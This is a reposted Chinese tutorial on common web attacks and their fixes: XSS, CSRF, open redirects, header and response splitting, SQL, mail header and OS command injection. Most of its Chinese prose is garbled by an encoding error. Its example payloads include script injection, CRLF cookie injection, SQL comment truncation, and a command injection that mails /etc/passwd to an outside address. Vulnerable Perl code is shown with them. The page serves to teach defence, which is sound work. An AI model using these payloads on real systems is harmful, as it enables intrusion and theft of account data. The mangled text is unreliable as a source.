web缃戠粶鏀诲嚮瑙e喅鏂规

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web缃戠粶鏀诲嚮瑙e喅鏂规相关的知识,希望对你有一定的参考价值。

鏍囩锛?a href='http://www.mamicode.com/so/1/%e6%88%aa%e6%96%ad' title='鎴柇'>鎴柇   adr   涓夋柟   from   inf   www   鑾峰彇   img   int   

浜х敓鍘熷洜

  • HTTP 涓嶅叿澶囧畨鍏ㄥ姛鑳姐€?/li>
  • 鍦ㄥ鎴风鍙互绡℃敼璇锋眰銆?/li>

璺ㄧ珯鑴氭湰鏀诲嚮 XSS

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃鎻愪氦鐨勪俊鎭腑甯﹀叆 js 鑴氭湰鎴?html 鏍囩銆?/li>
  • 鎻愬墠闂悎鏍囩锛屾湁浜涚敋鑷充笉鐢ㄧ壒娈婂鐞嗐€?/li>
  • 鎵ц鎿嶄綔鎴栬€呭紩鍏ヤ笁鏂?js 銆?/li>
姝e父璇锋眰锛?http: //example.jp/login?ID="haha"
姝e父鏄剧ず锛?<input type="text" name="ID" value="yama" />

鏀诲嚮璇锋眰锛?http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
鏀诲嚮鏄剧ず锛?<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>

瑙e喅鏂规锛?/p>

  • 瀵规彁浜ゅ唴瀹硅繘琛岀紪璇戯紝鈥?lt;鈥?杞?鈥?amp;lt;鈥? ">" 杞?鈥?amp;gt;鈥濄€傞槻姝㈡枃鏈В鏋愭垚鏍囩銆?/li>

璺ㄧ珯鐐逛吉閫犺姹傛敾鍑?CSRF

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃绗笁鏂圭綉绔欙紝璁块棶鏈綉绔欑殑鎺ュ彛锛屽鑷存惡甯︽湰缃戠珯鐨?cookie 銆?/li>
  • 闅愬尶鐨勪娇鐢ㄦ埛杩涜鎿嶄綔銆?/li>

瑙e喅鏂规锛?/p>

  • 鏂规硶涓€锛氶獙璇?HTTP Referer 鎺у埗璇锋眰蹇呴』鏈綉绔欏彂鍑恒€?/li>
  • 鏂规硶浜岋細鍦ㄨ姹傚湴鍧€涓坊鍔?token 骞堕獙璇併€?/li>
  • 鏂规硶涓夛細鍦?HTTP 澶翠腑鑷畾涔夊睘鎬у苟楠岃瘉锛岀涓夋柟缃戠珯鐨勮姹傜姝㈡惡甯﹁嚜瀹氫箟澶淬€?/li>

URL 璺宠浆婕忔礊鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 涓€鑸櫥褰曢〉闈細鍦ㄧ櫥褰曞悗锛岄€氳繃 URL 鐨勫弬鏁拌繘琛屽洖璺炽€?/li>
  • 绗笁鏂圭綉绔欙紝閫氳繃鎻愪緵姝h鐨勭櫥褰曞湴鍧€鍜岄敊璇殑鍥炶烦鍦板潃銆?/li>
  • 璇卞鐢ㄦ埛浠ヤ负瀹夊叏鐧诲綍銆?/li>

瑙e喅鏂规锛?/p>

  • 瀵瑰洖璺崇殑鍦板潃杩涜涓ユ牸鏍¢獙銆?/li>
  • 涓嶈兘鍙畝鍗曟牎楠屽煙鍚嶆槸鍚﹀湪鍦板潃涓瓨鍦ㄣ€?/li>

HTTP 棣栭儴娉ㄥ叆鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃 %0D%0A 鎴柇浠g爜锛屾敞鍏?http 澶翠唬鐮併€?/li>
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789

%0D%0A 浠h〃 HTTP 鎶ユ枃涓殑鎹㈣绗︼紝绱ф帴鐫€鐨勬槸鍙己鍒跺皢鏀诲嚮鑰呯綉绔欙紙http: //hackr.jp/锛夌殑浼氳瘽 ID 璁剧疆鎴?SID=123456789 鐨?Set-Cookie 棣栭儴瀛楁銆傞閮ㄥ瓧娈?Set-Cookie 宸茬敓鏁堬紝鍥犳鏀诲嚮鑰呭彲鎸囧畾淇敼浠绘剰鐨?Cookie 淇℃伅銆傞€氳繃鍜屼細璇濆浐瀹氭敾鍑伙紙鏀诲嚮鑰呭彲浣跨敤鎸囧畾鐨勪細璇?ID锛夋敾鍑荤粍鍚堬紝鏀诲嚮鑰呭彲浼鎴愮敤鎴枫€?/code>

瑙e喅鏂规锛?/p>

  • 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>

HTTP 鍝嶅簲鎴柇鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃 %0D%0A%0D%0A 鎴柇浠g爜锛岄€犳垚澶氫綑鐨勭┖琛岋紝娉ㄥ叆鍝嶅簲浣撲唬鐮併€?/li>
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);

HTTP 鍝嶅簲鎴柇鏀诲嚮鏄敤鍦?HTTP 棣栭儴娉ㄥ叆鐨勪竴绉嶆敾鍑汇€傝灏嗕袱涓?%0D%0A%0D%0A 骞舵帓鎻掑叆瀛楃涓插悗鍙戦€併€傚埄鐢ㄨ繖涓や釜杩炵画鐨勬崲琛屽氨鍙綔鍑?HTTP 棣栭儴涓庝富浣撳垎闅旀墍闇€鐨勭┖琛屼簡锛岃繖鏍峰氨鑳芥樉绀轰吉閫犵殑涓讳綋锛岃揪鍒版敾鍑荤洰鐨勩€?/code>

瑙e喅鏂规锛?/p>

  • 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>

SQL 娉ㄥ叆鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃鍗曞紩鍙峰瓧绗﹀姞鈥?-鈥濓紝鎴柇 sql 璇彞銆?/li>
姝e父璇锋眰锛?http: //example.jp/search?q=haha
姝e父鎵ц锛?SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;

鏀诲嚮璇锋眰锛?http: //example.jp/search?q=haha鈥?--
鏀诲嚮鏄剧ず锛?SELECT * FROM bookTbl WHERE author = 'haha' --鈥?and flag = 1;
flag = 1 鐨勬潯浠惰蹇界暐

瑙e喅鏂规锛?/p>

  • 瀵?鈥溾€?--鈥?杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>

閭欢棣栭儴娉ㄥ叆鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃 %0D%0A 鎴柇浠g爜锛岃拷鍔犻偖浠跺湴鍧€銆?/li>
  • 閫氳繃 %0D%0A%0D%0A 鎴柇浠g爜锛岄€犳垚澶氫綑鐨勭┖琛岋紝绡℃敼閭欢涓讳綋銆?/li>
[email protected]%0D%0ABcc: [email protected]

%0D%0A 鍦ㄩ偖浠舵姤鏂囦腑浠h〃鎹㈣绗︺€備竴鏃﹀挩璇㈣〃鍗曟墍鍦ㄧ殑 Web 搴旂敤鎺ユ敹浜嗚繖涓崲琛岀锛屽氨鍙兘瀹炵幇瀵?Bcc 閭欢鍦板潃鐨勮拷鍔犲彂閫侊紝鑰岃繖鍘熸湰鏄棤娉曟寚瀹氱殑銆?
bob @ hackr.jp%0D%0A%0D%0ATest Message

浣跨敤涓や釜杩炵画鐨勬崲琛岀灏辨湁鍙兘绡℃敼閭欢鏂囨湰鍐呭骞跺彂閫併€?鍐嶄互鐩稿悓鐨勬柟娉曪紝灏辨湁鍙兘鏀瑰啓 To 鍜?Subject 绛変换鎰忛偖浠堕閮紝鎴栧悜鏂囨湰娣诲姞闄勪欢绛夊姩浣溿€?/code>

瑙e喅鏂规锛?/p>

  • 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>

OS 鍛戒护娉ㄥ叆鏀诲嚮

鏀诲嚮鏂瑰紡锛?/p>

  • 閫氳繃鍒嗗彿锛屾埅鏂鍙ワ紝鍔犲叆鏀诲嚮璇彞銆?/li>
鏍稿績浠g爜锛?my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com
";

褰撲紶鍏?mailaddress 鍙傛暟涓?鈥? cat /etc/passwd | mail hack @ example.jp鈥?
浼氭墽琛屼笅闈㈢殑璇彞锛?| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
灏嗗惈鏈?Linux 璐︽埛淇℃伅 /etc/passwd 鐨勬枃浠讹紝灏变互閭欢褰㈠紡鍙戦€佺粰浜?hack @ example.jp銆?/code>

瑙e喅鏂规锛?/p>

  • 瀵瑰垎鍙疯繘琛岃瘑鍒紝骞舵姤閿欍€?/li>

以上是关于web缃戠粶鏀诲嚮瑙e喅鏂规的主要内容,如果未能解决你的问题,请参考以下文章

浣跨敤IScroll缁勪欢鍑虹幇婊戝姩鍗¢闂瑙e喅鏂规硶

troubleshooting -zk 鎶ラ敊瑙e喅鏂规

浜鸿劯璇嗗埆绮惧噯钀ラ攢瑙e喅鏂规

涓€閬撳绾跨▼闈㈣瘯棰樼殑澶氱瑙e喅鏂规硶

銆愮洿鎾€戞暣杞﹂┚涔樻€ц兘娴嬭瘯璇勪环瑙e喅鏂规

Failed to connect to raw.githubusercontent.com port 443 瑙e喅鏂规